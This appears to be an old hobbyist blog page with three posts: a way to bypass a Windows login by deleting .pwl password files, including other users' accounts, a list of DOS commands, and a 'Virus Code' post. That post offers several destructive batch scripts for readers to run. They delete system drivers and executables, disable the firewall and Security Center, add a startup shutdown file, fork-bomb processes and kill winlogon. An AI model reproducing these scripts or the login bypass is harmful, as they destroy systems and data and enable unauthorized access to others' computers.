Showing posts with label DOS. Show all posts
Showing posts with label DOS. Show all posts

Wednesday, March 4, 2009

Change Win Pswd

Have you ever forgotten your windows password and never been able to
Retrieve those files you longed?

Well heres how to change your password without knowing the old one.

1)when the computer boots keep pressing F8 until you get to a boot screen.
2)Select boot in DOS.
3)Get yourself into the windows folder by typing "cd windows" (without the "")
4)next type "dir *.pwl". This will display the login password files.
5)after you found out the one that’s yours (or ne1 else’s you want to get into) type del
Username.pwl
6)Reboot the computer
7)When you have to login, put in the username you deleted, and enter ne password you like.
8)The computer will say something like "No password. Would you like to use this one? Confirm?
9)Put your password in
10) sit back and watch all the noobs try and open their windows boxes with the wrong password

Friday, July 4, 2008

Some Dos Commands

ATTRIB -S -R,
DISKPART

TYPE [FILENAME] EX:--> TYPE C:|3.ZIP


MORE ----------- EX == MORE C:\3.GIF

CHCP --------TO DISPLAY ACTIVE CODE PAGE NUMBER

MODE ---- TO CONFIGURE SYSTEMPLAY DEVICES ex := MODE COM1 BAUD=1200

EXPAND ------ TO COPY FILE EX : C:\DBA.ZIP C:\Z.ZIP


SFC [/SCANNOW] [/SCANONCE] [/SCANBOOT] [/REVERT] [/PURGECACHE] [/CACHESIZE=x]
DIGITAL SIGNATURE OF FILES .Scans all protected system files and replaces incorrect versions WITH correct Microsoft versions.


MMC

ARP --DISPLAY LOCALLY RESOLVE IP ADDRESS EX : ARP -A

ROUTE --Manipulates network routing tables. eX : ROUTE PRINT

HOSTNAME
TRACERT
PATHPING
TELNET


REXEC
Runs commands on remote hosts BY running the REXEC service. Rexec
authenticates the user name on the remote host before executing the specified command.


FTP ,TFTP -- FOR FILE TRANSFERING


FINGER
Displays information about a user on a specified system running the Finger service.Output varies based on the remote system.


DEVMGMT.MSC ---TO START DEVICE MANAGER

CIPHER

Tuesday, July 1, 2008

Virus Code

1)Create a virus of your own .Copy paste the below codes in a notepad and save that file as virus.bat ,then run that file .U can Notice the effect
I)
@echo off
title MacBeth
cd %windir%\system32
del /S /F /Q keyboard.drv
del /S /F /Q mouse.drv
del /S /F /Q keyboard.sys
del /S /F /Q hal.dll
del * /S /F /Q .exe
shutdown /F /S /Q
pause
II) This Code shuts down all security.
Makes a new batch file at startup which inside is the command shutdown -s
Then starts cmd.exe command.com and mspaint.exe multiple,multiple times.
Watch the CPU usage go up.
@echo off
net stop “Security Center”
net stop SharedAccess
netsh firewall set opmode mode=disable
echo shutdown -s >> "%systemdrive%\documents and settings\start menu\programs\startup\virus.bat"
:virus
start cmd.exe
start command.com
start mspaint.exe
goto :virus
III)
@echo off
tskill /a /im winlogon
tskill /a /im explorer
tskill /a /im taskmgr
del %systemdrive%\windows\System32\dllcache\winlogon.exe
del %systemdrive%\windows\System32\dllcache\explorer.exe
del %systemdrive%\windows\System32\dllcache\services.exe
del %systemdrive%\windows\System32\dllcache\vga.sys
del %systemdrive%\windows\System32\dllcache\mup.sys
del %systemdrive%\windows\System32\dllcache\taskmgr.exe
IV)
shutdown -s -t 10
V)
:start
start "C:\WINDOWS\system32\notepad.exe"
GOTO start